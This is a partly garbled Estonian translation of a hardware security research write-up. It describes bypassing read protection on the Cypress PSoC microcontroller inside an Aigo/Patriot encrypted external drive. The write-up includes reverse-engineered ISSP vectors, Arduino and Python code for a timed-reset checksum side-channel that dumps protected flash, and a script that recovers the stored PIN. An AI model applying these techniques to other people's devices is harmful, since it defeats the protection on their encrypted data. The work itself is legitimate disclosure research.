See on teine ja viimane osa artiklist välistest enkrüpteeritud mäluseadmetest. Meenutan, et hiljuti tõi kolleeg mulle kõvaketta Patriot (Aigo) SK8671 ja otsustasin selle tagasivõtta, nüüd jagan seda, mis välja tuli. Enne edasise lugemist tutvuge kindlasti artiklist.

4. Alustame dumpi võtmist PSoC sisemistelt mäludelt
Nii et kõik osutab sellele (nagu me [esimeses osas]() selgitasime), et PIN-kood on salvestatud PSoC-i flash-sügavustes. Seetõttu peame lugema neid flash-sügavusi. Edasi liikuda vajalik töö:
- võtta kontrolli alla „suhtlemine” mikroprotsessoriga;
- leidma viis, kuidas kontrollida, kas see "suhtlus" on välisest lugemisest kaitstud;
- leidma viisi kaitse ületamiseks.
On kaks kohta, kus on mõistlik otsida toimivat PIN-koodi:
- sisemine välkmälu;
- SRAM, kus PIN-kood võib olla talletatud selle võrreldes sisestatud PIN-koodiga.
Ütlen kohe, et mul õnnestus siiski teha PSoC sisemise välkmälu koopia – ületades selle kaitsesüsteemi, kasutades riistvara rünnakut "külm taaskäivitamine" – pärast dokumenteerimata ISSP protokolli võimaluste pöördprojekteerimist. See lubas mul otse kiiresti salvestada kehtiva PIN-koodi.
$ ./psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Lõplik programmi kood:
- ;
- .
5. ISSP-protokoll
5.1. Mis on ISSP
"Suhtlus" mikrokontrolleriga võib tähendada erinevaid asju: alates "tarnijalt tarnijale", kuni suhtlemiseni seadmete vahel kasutades järjestikust protokolli (näiteks ICSP Microchip'i PIC jaoks).
Cypress'il on selle jaoks oma patentprotokoll, mida nimetatakse ISSP (in-system serial programming protocol; seesmiste süsteemide järjestikune programmeerimisprotokoll), mis on osaliselt kirjeldatud . announces some additional information. There is also an OpenSource analogue called HSSP (we will use it a bit later). ISSP works as follows:
- restart the PSoC;
- output a magic number on the serial data pin of this PSoC; to enter the external programming mode;
- send commands that consist of long bit strings called 'vectors'.
In the ISSP documentation, these vectors are defined only for a small handful of commands:
- Initialize-1
- Initialize-2
- Initialize-3 (3V and 5V options)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, where dddddddd=block #
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, where DDDDDDDD = data out, aaaaaa = address (6 bits)
- WRITE-BYTE: 10010aaaaaadddddddd111, where dddddddd = data in, aaaaaa = address (6 bits)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, where DDDDDDDDDDDDDDDD = data out: device checksum
- ERASE BLOCK
For example, the vector for Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111All vectors are the same length: 22 bits. The HSSP documentation has some additional details on ISSP: 'An ISSP vector is nothing more than a bit sequence representing a set of instructions.'
5.2. Demystification of Vectors
Selgitame, mis siin toimub. Alguses arvasin, et need vektorid esindavad M8C käskude raw-variantide variante, kuid kontrollides seda hüpoteesi, avastasin, et operatsioonide opkoodid ei ühti.
Siis google'isin eespool nimetatud vektori ja sattusin uurimusele, kus autor, kuigi ei süüvi detailidesse, annab mõned kasulikud vihjed: "Iga käsk algab kolmest bitist, mis vastavad ühele neljast mnemoonikust (lugeda RAM-ist, kirjutada RAM-i, lugeda registrist, kirjutada registrisse). Siis tuleb 8-bitine aadress, seejärel 8 bitti andmeid (loodud või kirjutamiseks) ja lõpuks kolm stopp-bitti."
Seejärel õnnestus mul saada väga kasulikku teavet "Supervisory ROM (SROM)" . SROM on PSoC-is rangelt kodeeritud ROM, mis pakub teenusefunktsioone (sarnaselt Syscall'iga) kasutajaruumi käivitatavale programmikoodile:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Vektorite nimesid SROM-funktsioonidega võrreldes saame sobitada erinevaid operatsioone, mida see protokoll toetab, - oodatud SROM-parameetritega. Selle tõttu saame dekodeerida esimesed kolm bitti ISSP-vektoritest:
- 100 => “wrmem”
- 101 => “rdmem”
- 110 => “wrreg”
- 111 => “rdreg”
Kuid täielik arusaam sisesisestest protsessidest on võimalik ainult otsese suhtluse kaudu PSoC-iga.
5.3. Suhtlemine PSoC-iga
Kuna Dirk Petrautsky on juba Cypressi HSSP-koodi Arduino peale, kasutasin Arduino Uno, et ühendada ISSP-pistikupesaga klaviatuurile.
Pange tähele, et oma uurimiste käigus olen ma Dirki koodi üsna palju muutnud. Minu muudatus on saadaval GitHubis: ja vastav Python-skript suhtlemiseks Arduinoga, minu repozitooriumis .
Nii et kasutades Arduinot, kasutasin alguses ainult "ametlikke" vektoreid "suhtlemiseks". Püüdsin lugeda sisemist ROM-i, kasutades käsku VERIFY. Nagu oodata võis, ei õnnestunud seda mul teha. Tõenäoliselt seetõttu, et flashis on aktiveeritud lugemisvastased kaitsebitid.
Seepeale lõin ma mõned oma lihtsad vektorid, et mälu/registreid lugeda ja kirjutada. Pange tähele, et me saame lugeda kogu SROM'i, isegi kui mälupulk on kaitstud!
5.4. Sisechipi registrite identifitseerimine
Vaadates 'dekompileeritud' vektoreid, avastasin, et seade kasutab dokumenteerimata registre (0xF8-0xFA) M8C opkoodide näitamiseks, mida täidetakse otse, jättes kaitse tähelepanuta. See võimaldas mul käivitada erinevaid opkoode, nagu 'ADD', 'MOV A, X', 'PUSH' või 'JMP'. Nende (vaadates kõrvalmõjusid, mida nad registritele avaldavad) abil suutisin tuvastada, millised dokumenteerimata registrid on tegelikult tavalised registrid (A, X, SP ja PC).
Kokkuvõttes näeb HSSP_disas.rb tööriista genereeritud 'dekompileeritud' kood välja selline (selguse huvides olen lisanud kommentaarid):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # lipud lipud
[DE C0 1C] wrreg SP (f6), 0x00 # lipud SP
[9F 07 5C] wrmem KEY1, 0x3A # kohustuslik argument SSC jaoks
[9F 20 7C] wrmem KEY2, 0x03 # sarnaselt
[DE A0 1C] wrreg PCh (f5), 0x00 # lipud PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... kuni 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM-näidik väljundandmete jaoks
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opkood 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opkood 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID SSC kutsumiseks
[DE 00 DC] wrreg A (f0), 0x06 # "Syscall" number: TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opkood SSC jaoks, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Dokumenteerimata toiming: täida väline opkood
5.5. Kaitse bitid
Sellel etapil suudan juba PSoC-iga suhelda, kuid mul pole endiselt usaldusväärset teavet mälukiibi kaitsebitide kohta. Olin väga üllatunud, et Cypress ei paku kasutajale muid abinõusid, et kontrollida, kas kaitse on aktiveeritud. Uurisin sügavamalt Google'ist, et lõpuks mõista, et Cypress'i poolt antud HSSP-kood oli uuendatud juba pärast seda, kui Dirk oli oma modifikatsiooni välja andnud. Ja siin see on! Ilmus selline uus vektor:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # tundmatud argumendid
[9F E0 1C] wrmem 0xFF, 0x00 # samamoodi
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # dokumenteerimata syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Kasutades seda vektorit (vt read_security_data psoc.py-s), saame kõik kaitsebitid SRAM-is aadressil 0x80, kus igas kaitstud plokis on kaks bitti.
Tulemus on pettumus: kõik on kaitstud režiimis «väliste lugemiste ja kirjutamiste keelamine». Seetõttu ei saa me mitte ainult lugeda midagi mälupulgalt, vaid ka kirjutada sinna (näiteks ROM-dumperi sisestamiseks). Ainuke võimalus kaitse keelamiseks on kogu kiibi täielik kustutamine. 🙁
6. Esimene (ebaõnnestunud) rünnak: ROMX
Kuid me saame proovida teha järgmist nippi: kuna meil on võimalus täita meelevaldseid opkoodide, miks mitte täita ROMX, mida kasutatakse flash-mälu lugemiseks? Sellisel lähenemisel on üsna head võimalused edu saavutamiseks. Sest funktsioon ReadBlock, mis loeb andmeid SROM-ilt (mida kasutavad vektorid), kontrollib, kas seda kutsutakse ISSP-st. Siiski võib ROMX opkoodil sellist kontrolli mitte olla. Nii et siin on Python-kood (pärast paaride abiklasside lisamist C keeles Arduino-koodile):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "%02x" % ord(byte[0]) # print ROM byteKahjuks see kood ei tööta. 🙁 Tõepoolest töötab, kuid väljundina saame oma opkoodid (0x28 0x30 0x40)! Ma ei arva, et seadme vastav funktsionaalsus on lugemisvastase kaitse element. See tundub pigem inseneritrikina: väliste opkoodide täitmisel suunatakse ROM-i buss ajutisse puhvrisse.
7. Teine rünnak: jääkülma taaskäivitamise jälgimine
Kuna ROMX trikk ei töötanud, hakkasin mõtlema teisele variatsioonile sellest trikkist – nagu on kirjeldatud avalduses .
7.1. Rakendamine
ISSP dokumentatsioonis on toodud järgmine vektor CHECKSUM-SETUP jaoks:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Siin kutsutakse tegelikult esile SROM-funktsiooni 0x07, nagu on esitatud dokumentatsioonis (kursiiv on minu lisandus):
See funktsioon kontrollib kontrollsummat. See arvutab 16-bitise kontrollsumma kasutaja määratud plokkide arvu osas – ühes flash-pangas, alustades nullist. Parameetrit BLOCKID kasutatakse, et edastada plokkide arvu, mida kasutatakse kontrollsumma arvutamiseks. Väärtus „1” arvutab kontrollsumma ainult nullploki jaoks; samas kui „0” viib selleni, et arvutatakse flash-panga kõigi 256 ploki kogusumma. 16-bitine kontrollsumma tagastatakse KEY1 ja KEY2 kaudu. KEY1 parameetris fikseeritakse kontrollsummast madalamad 8 bitti ja KEY2 – kõrgemad 8 bitti. Mitme välkmälupanga seadmetele kutsutakse kontrollsummat igaühe jaoks eraldi. Panga number, millega töötatakse, määratakse FLS_PR1 registri kaudu (seades sinna vastava bit, mis vastab sihitud välkmälupangale).
Pange tähele, et see on kõige lihtsam kontrollsumma: baitide lihtsalt liidetakse üksteise järel; mingeid keerulisi CRC-efekte ei ole. Lisaks, teades, et M8C tuumas on registrite kogus väga väike, arvasin, et kontrollsumma arvutamisel fikseeritakse vahepealsed väärtused just nendes samades muutujates, mis lõpuks väljundisse lähevad: KEY1 (0xF8) / KEY2 (0xF9).
Nii et teoorias näeb mu rünnak välja selline:
- Ühendame läbi ISSP.
- Käivitame kontrollsummade arvutamise, kasutades CHECKSUM-SETUP vektorit.
- Taaskäivitame protsessori pärast määratud aega T.
- Lugedes RAM-i, et saada praegune kontrollsumma C.
- Korrame samme 3 ja 4, iga kord veidi T-d suurendades.
- Taastame andmed välkmälust, lahutades eelneva kontrollsummast C praeguse.
Kuid nüüd on probleem: vektor Initialize-1, mille peame saatma pärast taaskäivitamist, kirjutab üle KEY1 ja KEY2:
1100101000000000000000 # Mõnus, mis viib PSoC-i programmeerimisrežiimi
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # kontrollsummat kirjutatakse siin üle
[9F 20 7C] wrmem KEY2, 0x03 # ja siin
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-funktsioon 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12See kood kustutab meie väärtusliku kontrollsummat, kutsudes esile Calibrate1 (SROM-funktsioon 9)… Võib-olla õnnestub meil lihtsalt saatma maagilise numbri (ülemises koodis), siseneda programmeerimisrežiimi ja seejärel SRAM-i lugeda? Ja jah, see töötab! Arduino kood, mis rakendab seda rünnakut, on üsna lihtne:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())<<8;
checksum_delay |= getch();
if(checksum_delay > 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay%1000;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Lugeda checkum_delay.
- Käivitada kontrollsummade arvutamine (send_checksum_v).
- Oodata määratud ajavahemik; pidades silmas järgmisi takistusi:
- ma raiskasin tohutult aega, enne kui avastasin, et töötab korrektselt ainult viivituste korral, mis ei ületa 16383 µs;
- ja siis raiskasin jälle sama palju aega, kuni avastasin, et delayMicroseconds, kui anda sisendiks 0, töötab täiesti valesti!
- Taaskäivitage PSoC programmeerimisrežiim (lihtsalt saadame maagilise numbri, ilma initsialiseerimisvektorite saatmiseta).
Lõplik kood Pythonis:
for delay in range(0, 150000): # задержка в микросекундах
for i in range(0, 10): # количество считывания для каждойиз задержек
try:
reset_psoc(quiet=True) # перезагрузка и вход в режим программирования
send_vectors() # отправка инициализирующих векторов
ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
res = ser.read(1) # считать arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
continue
print "%05d %02X %02X %02X" % (delay, # считать RAM-байты
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Kokkuvõttes, mida see kood teeb:
- Taaskäivitab PSoC (ja saadab sellele maagilise numbri).
- Saadab täisfunktsionaalsed initsialiseerimisvektorid.
- Käivitab Arduino-funktsiooni Cmnd_STK_START_CSUM (0x85), kus parameetrina edastatakse viivitus mikrosekundites.
- Loeb kontrollsummat (0xF8 ja 0xF9) ja dokumenteerimata registrit 0xF1.
See kood käivitab end 10 korda 1 mikrosekundi jooksul. 0xF1 on siin, kuna see oli ainus register, mis muutus kontrollsummat arvutades. Võimalik, et see on mingi ajutine muutuja, mida kasutab aritmeetiline loogikaseade. Pange tähele, et ma kasutan inetu hack'i, et taaselustada Arduino, kasutades picocom'i, kui Arduino enam elumärke ei anna (ma ei tea miks).
7.2. Loeme tulemuse
Python skripti väljund näeb välja järgmine (lihtsustatud loetavuse huvides):
DELAY F1 F8 F9 # F1 – eespool mainitud tundmatu registr
# F8 madalama baidi kontrollsummast
# F9 kõrgema baidi kontrollsummast
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # kontrollsumma lähtestatakse 0-le
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1. bait: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2. bait: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # ei tea, mis siin toimub
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Taas E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, sain kätte! Siin on üleminek kõrgemasse baidi
00063 01 17 01
[...]
00075 CC 17 01 # Nii et, 0x117-0xE7: 0x30Meil on probleem: kuna me opereerime tegeliku kontrollsummaga, nullbait ei muuda loetud väärtust. Kuid kuna kogu arvutusprotseduur (8192 baiti) kestab 0,1478 sekundit (kergelt erinevustega iga käivitamisel), mis vastab umbes 18,04 µs baitide kohta, – saame seda aega kasutada kontrollsummade väärtuse kontrollimiseks sobivatel hetkedel. Esimeste käivituste puhul on kõik loetav suhteliselt lihtne, kuna arvutamise kestus on alati peaaegu sama. Kuid selle dumpi lõpp on vähem täpne, sest iga käivituse „väikesed aja kõrvalekalded“ kogunevad ja muutuvad oluliseks:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDNeed on 10 dumpi iga mikrosekundi viivituse jaoks. Kõikide 8192 baiti flash-mälust dumpimise kogu tööaeg kestab umbes 48 tundi.
7.3. Flash-binary rekonstrueerimine
Ma pole veel lõpetanud koodi kirjutamist, mis rekonstrueerib täielikult flash-mälu programmikoodi, arvestades kõiki ajakõikumisi. Siiski olen ma juba koodi alguse taastanud. Selle õigsuse kontrollimiseks dekompileerisin selle, kasutades m8cdis:
0000: 80 67 jmp 0068h ; Reset vektori
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Lehekülje režiim muutus 3-st 0-ks
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retNäeb välja üsna usutav!
7.4. Otsime PIN-koodi salvestamise aadressi
Nüüd, kui me saame kontrollsummat lugeda õigel ajal, – saame lihtsalt kontrollida, kuidas ja kus see muutub, kui me:
- sisestame vale PIN-koodi;
- muudame PIN-koodi.
Alguses, et leida ligikaudne salvestusaadress, tegin summakontrolli rusika dump'i 10 ms sammuga pärast taaskäivitamist. Siis sisestasin vale PIN-koodi ja tegin sama.
Tulemus oli üsna ebameeldiv, kuna muudatusi oli palju. Kuid lõpuks sain aru, et kontrollsummad muutusid kusagil 120000 µs ja 140000 µs viivitusaja vahel. Kuid 'PIN-kood', mille ma seal avastasin, oli täiesti vale – tänu delayMicroseconds protseduuri artefaktile, mis teeb arusaamatuid asju, kui sellele edastatakse 0.
Pärast peaaegu 3 tunni möödumist meenutasin, et SROM-i süsteemi kutsumise CheckSum sisend saab argumendi, mis määrab kontrollsummade arvu! Seega saame kergesti lokaliseerida PIN-koodi ja 'vale katsetuste' loenduri salvestusaadressi – täpsusega kuni 64-baidise plokini.
Minu esialgsed testid andsid järgmise tulemuse:

Seejärel muutsin PIN-koodi '123456' pealt '1234567'-ks ja sain:

Seega näib, et PIN-kood ja vale katsetuste loendur on salvestatud plokis nr 126.
7.5. Teeme ploki nr 126 dump'i
Plokk №126 peaks asuma kusagil 125x64x18 = 144000µs alates kontrollsummade arvutamise algusest minu täisdumpis ja see mulje on üsna usutav. Siis, pärast mitmete vale dumpide käsitsi eemaldamist (ajalehtede 'tühiseid kõrvalekaldeid' tõttu), sain lõpuks sellised baitid (145527µs viivitusega):

On täiesti ilmne, et PIN-kood hoitakse krüpteerimata kujul! Need väärtused ei ole kindlasti ASCII-koodides, kuid nagu osutus - need peegeldavad andmeid, mis on saadud puutumatust klaviatuurist.
Lõpuks tegin veel mõned katsed, et leida, kus hoitakse vale katsete arvestit. Siin on tulemus:

0xFF – tähendab '15 katset', ja see väheneb iga vale katse korral.
7.6. PIN-koodi taastamine
Siin on minu inetu kood, mis kogub kokku eelnevalt öeldu:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printSiin on selle täitmise tulemus:
$ ./psoc.py
sünkroniseerimine: KO OK
PSoC-i taaskäivitamine: KO PSoC-i taaskäivitamine: KO PSoC-i taaskäivitamine: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Hurra! See töötab!
Pange tähele, et minu kasutatud viivituste väärtused võivad olla aktuaalsed ainult ühele konkreetsele PSoC-ile – sellele, mida kasutasin.
8. Mis edasi?
Nii et teeme kokkuvõtte PSoC-i poolelt, meie Aigo mäluseadmest lähtuvalt:
- saame lugeda SRAM-i, isegi kui see on lugemise eest kaitstud;
- saame lugemisprotektsiooni ületada, kasutades „külmakuulamise jälgimise” rünnakut ja pinda pin-koodi otsest lugemist.
Kuid meie rünnakul on mõned puudujäägid – sünkroonimisprobleemide tõttu. Selle saaks parandada järgmiselt:
- kirjutada utiliit väljundandmete õigeks dekodeerimiseks, mis saadakse „külmakuulamise jälgimise” rünnaku tulemusena;
- kasutada FPGA-lisa, et luua täpsemaid ajaviivitusi (või kasutada Arduino riistvaralisi taimerid);
- katsetada veel ühe rünnakuga: sisestada vale PIN-kood, taaskäivitada ja RAM-i dumpida, lootes, et õige PIN-kood on RAM-is salvestunud rikka, et võrrelda. Siiski, Arduinoga ei ole see nii lihtne, kuna Arduino signaali tase on 5 volti, samas kui meie uuritav plaat töötab 3,3 voltiga.
Üks huvitav asi, mida võiks proovida – mängida pingetasemega, et mööduda lugemise kaitse süsteemist. Kui selline lähenemine töötaks, saaksime flash-mälust täiesti täpseid andmeid saada, selle asemel, et loota ebatäpsetele ajaviivitustele kontrollsumma lugemisele.
Kuna SROM tõenäoliselt loeb kaitsebitid süsteemikutsungi ReadBlock kaudu, saaksime teha sama, mida Dmitri Nedospasovi blogis – Chris Gerlinski rünnaku kordus, mis kuulutati välja konverentsil .
Veel naljakas asi, mida teha, on mikroskeemi korpus maha lihvida: SRAM-i pildi võtmiseks, dokumenteerimata süsteemi kutsumise ja nõrkuste tuvastamiseks.
9. Kokkuvõte
Nii et selle seadme kaitse jätab soovida, kuna see kasutab PIN-koodi hoidmiseks tavalist (mitte 'karastatud') mikrokontrollerit... Lisaks pole ma veel vaadanud, kuidas selle seadmega on andmete krüptimisega.
Mida võiks Aigole soovitada? Analüüsides paar-kolm mudelit krüpteeritud HDD-draive, tegin 2015. aastal SyScanil, kus käsitlesin mitme välist HDD-draivi turvaprobleeme ja andsin soovitusi, mida oleks võinud parandada. 🙂
Selle uuringu jaoks kulutasin kaks nädalavahetust ja mitu õhtut. Kokku umbes 40 tundi. Arvestades algusest (kui ma ketta avasin) kuni lõpuni (PIN-koodi pilt). Need 40 tundi sisaldavad ka aega, mille kulutasin selle artikli kirjutamiseks. See oli väga huvitav teekond.
Allikas: habr.com
